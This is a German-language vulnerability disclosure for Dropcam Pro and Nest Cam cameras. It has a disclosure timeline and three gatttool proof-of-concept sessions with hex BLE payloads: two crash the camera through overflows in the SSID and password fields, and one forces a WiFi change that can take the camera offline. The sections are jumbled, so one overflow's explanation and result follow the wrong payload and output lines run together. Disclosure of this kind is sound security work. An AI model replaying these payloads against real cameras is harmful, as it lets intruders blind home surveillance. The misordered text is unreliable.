
Offenlegungen von PoC-Schwachstellen für Consumer-IoT-Kameras, die BLE-Pufferüberläufe und WiFi-Dissoziationsangriffe detaillieren, mit denen Geräte offline geschaltet werden können.
Betroffen: Dropcam Pro, Nest Cam Indoor/Outdoor-Modelle
Neuester betroffener Build: 205-600052
Teilweise korrigierter Build: 205-600055
AKTUALISIERUNG Die neueste Firmware-Version 205-600055 behebt die WiFi-Dissoziations-Schwachstelle in der Dropcam Pro nicht. Wenn das bereitgestellte WiFi-Netzwerk nicht existiert, wurde die Reassoziationszeit verbessert und die Kamera verbindet sich nun innerhalb von etwa 10 Sekunden wieder. Allerdings kann weiterhin ein gültiges WiFi-Netzwerk angegeben werden, um die Dropcam dauerhaft offline zu nehmen.
Offenlegungszeitplan:
26. Oktober 2016: Sicherheitsfehler gemäß den Richtlinien von Googles Vulnerability Reward Program gemeldet
27. Oktober 2016: Das Google Security Team bestätigte, dass der Bericht eingegangen ist und untersucht wird
PoC-iOS-App von Troy Stribling :: NestPWN
Zusammenfassung
Es ist möglich, eine Pufferüberlauf-Bedingung auszulösen, wenn der SSID-Parameter an der Kamera gesetzt wird. Der Angreifer muss sich zu irgendeinem Zeitpunkt im Bluetooth-Bereich befinden, während die Kamera eingeschaltet ist. Bluetooth wird auch nach der Ersteinrichtung niemals deaktiviert.
Proof of Concept
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Details
Das Payload versucht, eine SSID mit einer Länge von 1 Byte zu setzen, und sendet 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
Ergebnis
Absturz und Neustart in den betriebsbereiten Zustand
Zusammenfassung
Es ist möglich, eine Pufferüberlauf-Bedingung auszulösen, wenn der Parameter für das verschlüsselte Passwort an der Kamera gesetzt wird. Der Angreifer muss sich zu irgendeinem Zeitpunkt im Bluetooth-Bereich befinden, während die Kamera eingeschaltet ist. Bluetooth wird auch nach der Ersteinrichtung niemals deaktiviert.
Proof of Concept
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Zusammenfassung
Es ist möglich, die Kamera vom WiFi zu trennen, indem man ihr eine neue SSID zum Verbinden übergibt. Da diese Kameras keine lokale Speicherung von Videomaterial unterstützen, ist die Überwachung vorübergehend deaktiviert. Der Angreifer muss sich zu irgendeinem Zeitpunkt im Bluetooth-Bereich befinden, während die Kamera eingeschaltet ist. Bluetooth wird auch nach der Ersteinrichtung niemals deaktiviert.
Proof of Concept
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Details
Das Payload versucht, das verschlüsselte WiFi-Passwort mit einer Länge von 1 Byte zu setzen, und sendet 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
Ergebnis
Absturz und Neustart in den betriebsbereiten Zustand
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> Details
Das Payload versucht, die zugeordnete SSID der Nest Cam zu ändern, was eine vorübergehende Dissoziation von der aktuellen WiFi-SSID verursacht.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
Ergebnis
Die Kamera dissoziiert vom aktuellen WiFi-Netzwerk, um eine Verbindung mit der neu gesetzten SSID zu versuchen. Wenn das WiFi-Netzwerk nicht existiert, geht die Kamera für etwa 60–90 Sekunden offline, bevor sie zum ursprünglichen WiFi-Netzwerk zurückkehrt und den normalen Betrieb wieder aufnimmt. Wenn das Netzwerk existiert, prüft sie die Internetverbindung und bleibt im neuen Netzwerk.